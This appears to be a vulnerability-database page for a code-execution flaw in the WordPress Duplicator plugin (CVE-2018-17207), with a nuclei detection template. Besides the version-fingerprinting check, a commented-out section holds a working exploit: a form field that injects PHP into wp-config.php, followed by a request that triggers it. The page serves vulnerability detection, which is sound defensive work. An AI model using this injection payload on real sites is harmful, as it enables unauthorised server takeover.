Browse / CVEs / CVE-2018-17207
CVE-2018-17207· snapcreek / duplicator· CWE-94
WordPress Duplicator Plugin < 1.2.42 - Arbitrary Code Execution
An issue was discovered in Snap Creek Duplicator before 1.2.42. By accessing leftover installer files (installer.php and installer-backup.php), an attacker can inject PHP code into wp-config.php during the database setup step, achieving arbitrary code execution.
Impact
Unauthenticated attackers can inject and execute arbitrary PHP code by exploiting leftover installer files, leading to complete WordPress site compromise and potential server takeover.
Fix
Remove installer.php and installer-backup.php files after installation, and upgrade to Duplicator version 1.2.42 or later.
How to confirm it
Send: POST /installer-backup.php
Positive when: contains "<title>Duplicator</title>" and "dupx-header-version" and "Deployment Path:" AND status 200 AND compare_versions(version, '< 1.2.42')Run it with nuclei: nuclei -id CVE-2018-17207 -u <target>
The full check
id: CVE-2018-17207
info:
name: WordPress Duplicator Plugin < 1.2.42 - Arbitrary Code Execution
author: synacktiv,iamnoooob,pdresearch
severity: critical
description: |
An issue was discovered in Snap Creek Duplicator before 1.2.42. By accessing leftover installer files (installer.php and installer-backup.php), an attacker can inject PHP code into wp-config.php during the database setup step, achieving arbitrary code execution.
impact: |
Unauthenticated attackers can inject and execute arbitrary PHP code by exploiting leftover installer files, leading to complete WordPress site compromise and potential server takeover.
remediation: |
Remove installer.php and installer-backup.php files after installation, and upgrade to Duplicator version 1.2.42 or later.
reference:
- https://www.synacktiv.com/posts/exploit/wordpress-duplicator-plugin-arbitrary-code-execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2018-17207
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-17207
cwe-id: CWE-94
epss-score: 0.60086
epss-percentile: 0.99143
cpe: cpe:2.3:a:snapcreek:duplicator:*:*:*:*:lite:wordpress:*:*
metadata:
vendor: snapcreek
product: duplicator
framework: wordpress
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/duplicator"
google-query: inurl:"/wp-content/plugins/duplicator"
tags: cve,cve2018,wordpress,duplicator,rce,vkev,passive,vuln
# Uncomment to attempt RCE, but note that it modifies database details, potentially causing the website to not function properly.
# variables:
# marker: "{{randstr}}"
http:
- raw:
- |
POST /installer-backup.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action_step=1
extractors:
- type: regex
name: version
part: body
group: 1
regex:
- "Plugin Version:.*?([0-9].*?)<"
internal: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<title>Duplicator</title>'
- 'dupx-header-version'
- 'Deployment Path:'
condition: and
- type: status
status:
- 200
- type: dsl
dsl:
- compare_versions(version, '< 1.2.42')
# - raw:
# - |-
# POST /installer-backup.php HTTP/1.1
# Host: {{Hostname}}
# Content-Type: application/x-www-form-urlencoded
# Connection: close
# action_ajax=3&action_step=3&dbhost=nowhere&dbuser=test&dbpass=test&dbname=wordpress');echo base64_decode($_GET["input"]);//&dbport=12345&
# matchers-condition: and
# matchers:
# - type: word
# part: body
# words:
# - updt_rows
# - scan_rows
# - scan_tables
# condition: and
# - type: status
# status:
# - 200
# internal: true
# - raw:
# - |+
# GET /wp-config.php?input={{base64(marker)}} HTTP/1.1
# Host: {{Hostname}}
# Connection: close
# matchers-condition: and
# matchers:
# - type: word
# part: body
# words:
# - '{{marker}}'
# - type: status
# status:
# - 200References
- https://www.synacktiv.com/posts/exploit/wordpress-duplicator-plugin-arbitrary-code-execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2018-17207
Use this check only on systems you are authorised to test. Where the data comes from